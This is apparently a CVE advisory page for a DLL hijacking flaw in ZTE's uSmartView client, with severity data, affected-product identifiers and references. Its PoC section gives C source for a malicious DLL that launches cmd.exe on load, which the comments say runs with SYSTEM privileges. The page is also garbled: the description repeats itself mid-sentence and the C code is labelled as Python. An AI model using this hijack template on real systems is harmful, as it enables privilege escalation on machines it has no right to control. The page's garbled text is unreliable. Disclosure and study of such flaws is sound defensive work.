CVE-2026-44406

Description

ZTE Cloud PC client uSmartView contains a DLL hijacking vulnerability; since uSmartViewServiceAgent.exe runs with SYSTEM privileges, successful hijacking enables local arbitrary code execution, privilege escalation, and memory corruption.contains a DLL hijacking vulnerability; since uSmartViewServiceAgent.exe runs with SYSTEM privileges, successful hijacking enables local arbitrary code execution, privilege escalation, and memory corruption.

CVSS Details

CVSS Score

5.7

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:zte:zxcloud_irai:*:*:*:*:*:*:*:* - VULNERABLE

ZTE Cloud PC client uSmartView (具体版本未在描述中明确提及)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <windows.h>
#include <stdlib.h>

// Dummy function to match exports if needed
void dummy_function() {}

// DllMain entry point
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // Code execution starts here with SYSTEM privileges
        system("cmd.exe"); // Example payload
        // Or use WinExec, CreateProcess, etc.
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44406
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44406
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44406/
[4] VulDB https://vuldb.com/cve/CVE-2026-44406
[5] https://support.zte.com.cn/zte-iccp-isupport-webui/bulletin/detail/8107253322107965601

Raw JSON Data

JSON

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